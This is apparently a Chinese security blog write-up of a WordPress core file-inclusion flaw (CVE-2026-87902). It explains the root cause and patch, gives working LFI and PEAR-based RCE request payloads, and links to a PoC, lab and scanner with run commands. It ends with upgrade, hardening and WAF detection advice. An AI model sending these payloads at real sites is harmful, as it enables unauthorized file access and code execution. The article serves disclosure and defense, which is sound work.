导语:Nicolas Krassas(Dinosn)近日公开了WordPress核心一处严重漏洞的完整利用链。漏洞编号CVE-2026-87902,对应GitHub Advisory GHSA-7hp8-65ch-5whp。攻击者无需登录,配合双重URL编码即可让 get_page_template() 加载任意 PHP 文件,在 register_argc_argv=On 且 pearcmd.php 可读的环境下还能升级为 RCE。影响范围覆盖 WordPress 4.7.0 至 7.1.1 全部版本,CVSS 4.0 评分 9.2。
一、漏洞概述
CVE-2026-87902 属于 CWE-98(Improper Control of Filename for Include/Require),根因是 wp-includes/template.php 中 get_page_template() 函数构建模板候选路径时未对用户输入做路径合法性校验。
1.1 受影响范围
| 项目 | 范围 |
|---|---|
| 受影响版本 | WordPress 4.7.0 – 7.1.1 |
| 修复版本 | 7.1.2(含 7.0.6 / 6.9.9 / 6.8.10 / 4.7.37 等分支回移植) |
| 认证要求 | 无(未认证即可利用) |
| CVSS 4.0 | 9.2(AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) |
| 利用前置 | 当前主题含 page- 开头的目录(如 page-templates/) |
| RCE 额外前置 | PHP 配置 register_argc_argv=On 且 pearcmd.php 可读 |
1.2 利用条件
要走到 RCE,两个前置缺一不可:
- 启用主题存在以
page-开头的目录——Twenty Twelve、Twenty Fourteen、Neve、Hestia、Sydney 等热门主题都满足 - PHP 环境同时满足
register_argc_argv=On和pearcmd.php可读——典型情况是 Docker 镜像wordpress:php8.3-apache
只满足第一个前置时,仍能稳定触发 LFI(本地文件包含),影响虽小于 RCE 但足以读取敏感配置。
二、漏洞原理
2.1 漏洞代码
WordPress 7.1.1 中 get_page_template() 的关键逻辑:
// WordPress 7.1.1(VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
// 没有 validate_file() 校验
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
问题出在 $pagename_decoded !== $pagename 这个分支:一旦传入的 pagename 经过 URL 解码后会变化,就把解码结果拼到模板候选路径里。攻击者只需要让”原始值”和”解码值”不同,就能把任意路径塞进去——validate_file() 本该在这里把关,但被漏掉了。
2.2 修复代码
7.1.2 给这个分支补上了和兄弟分支一致的守卫,外加路径容器校验:
// WordPress 7.1.2(PATCHED)
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// 加 _wp_is_template_path_allowed() 强制解析路径必须落在主题根目录
2.3 双重 URL 编码为何能绕过
get_query_var('pagename') 在 PHP 这一层已经被单次解码了。如果直接发 pagename=../,urldecode() 再解一遍结果仍是 ../,攻击分支不会进入。
双重编码能破局:
| 步骤 | 内容 | 状态 |
|---|---|---|
| 原始 payload | templates%252f%252e%252e%252fwp-links-opml | 第一次解码 |
| PHP 解码后 | templates%2f%2e%2e%2fwp-links-opml | 与原始不同,触发漏洞分支 |
urldecode() 再解 | templates/../wp-links-opml | 路径遍历生效 |
%252e 第一次解码变 %2e,第二次解码才是 .。两个解码层叠在一起,正好绕过单次解码的检查。

三、利用链详解
3.1 LFI 探测(无破坏)
最稳的探测 Payload 直接包含 WordPress 自带的 wp-links-opml.php:
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
响应 200 且 body 含 即表示 LFI 触发。
四个 .. 对应深度 4,正好从 page-templates/ 目录穿越回 web 根。Depth 3、5、6、7 都没用——必须正好走出 page 模板目录。
3.2 条件 RCE(深度 7)
如果环境同时满足 register_argc_argv=On 和 pearcmd.php 可读,能升级为 RCE。第一阶段用 PEAR 的 config-create 写入 marker PHP:
POST /?+config-create+/+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
(+ 是 PHP 把 query string 拆成 argv 的标记。x7 表示连续 7 次 ../ 走出到根目录,再钻进 /usr/local/lib/php/pearcmd。第二阶段把刚写的 marker 包含执行:
POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
响应 body 会包含 PHP marker 内容 + php_uname() + uid=33(以 www-data 身份执行)。
3.3 利用条件组合
| 条件 | LFI | RCE |
|---|---|---|
| 主题有 page- 目录 | ✓ 必须 | ✓ 必须 |
| 单次解码绕过 | ✓ 必须 | ✓ 必须 |
register_argc_argv=On | ✗ 不需要 | ✓ 必须 |
| pearcmd.php 可读 | ✗ 不需要 | ✓ 必须 |
实战中 Docker 部署的 WordPress 几乎都满足全部条件,裸金属或 VPS 部署的 LFI 成功率较高,RCE 要看具体 PHP 配置。
四、PoC 工具
Dinosn 在 GitHub 公开了完整的复现实验室 + 扫描器 + PoC,包含:
- Docker 复现环境:同机运行 WP 7.1.1(漏洞版)和 7.1.2(修复版),共享 MySQL,只绑定 127.0.0.1 不对外暴露
- URL-list 扫描器
cve-2026-87902-scan.py:纯 Python3 标准库实现,无第三方依赖;支持单 URL / 文件批量 / stdin 输入;20 worker 并发;JSON/JSONL 报告输出 - OPML oracle 验证脚本
manual-validate.sh:证明漏洞版命中、修复版静默、单次编码失败 - RCE 验证脚本
rce-validate.sh:完整 PEAR chain 跑通,uid=33 写入 marker - 场景测试日志
ev-scan-table.log、ev-scan-results.json:覆盖漏洞版 / 修复版 / 非 WP / 死链四类样本
扫描器输出四种判定:
VULNERABLE:OPML oracle 命中,LFI 确认POSSIBLY_VULNERABLE:版本在范围内但 oracle 没响(多半主题目录非标准或 page id 找不到)NOT_VULNERABLE:修复版或版本不在 4.7.0–7.1.1NOT_WORDPRESS / ERROR:非 WP 站点 / 网络失败
退出码也带语义:2 表示至少有一个 VULNERABLE;1 表示只有 POSSIBLY;0 表示全部安全或失败。CI/CD 集成直接用退出码即可。
五、防御方案
5.1 升级修复(最优先)
把 WordPress 升到 7.1.2,或所属分支的修复版本:
- 7.1 主线 → 7.1.2
- 7.0 分支 → 7.0.6
- 6.9 分支 → 6.9.9
- 6.8 分支 → 6.8.10
- 4.7 分支 → 4.7.37
5.2 纵深防御
即便打了补丁,建议继续加固:
- PHP 配置
register_argc_argv=Off(web SAPI) - 移除或禁止访问
pearcmd.php - WAF 规则:对
pagename参数做完整 URL 解码后,若含..直接阻断 - 重点告警:
page_id与pagename同时出现,且pagename以templates%252f开头或含%252e%252e——几乎肯定是攻击信号
5.3 资产排查
国内 WordPress 站众多,建议先用扫描器对自有资产批量扫一轮:
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
退出码非 0 的目标立刻进入修复流程。
六、附录
官方公告:
- GitHub Security Advisory:https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
PoC 与复现实验仓库:
- https://github.com/dinosn/cve-2026-87902-wordpress-lfi-lab
复现命令:
# 拉仓库
git clone https://github.com/dinosn/cve-2026-87902-wordpress-lfi-lab
# 起漏洞版 + 修复版两套 WP
cd cve-2026-87902-wordpress-lfi-lab
./up.sh
# 单 URL 扫描
./cve-2026-87902-scan.py http://127.0.0.1:8091/
# RCE 验证(仅授权目标)
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
CVE 详情:
- CVE-2026-87902(MITRE / NVD 收录后即可查询)
原文推文:
- https://x.com/Dinosn/status/2102629429684105397














暂无评论内容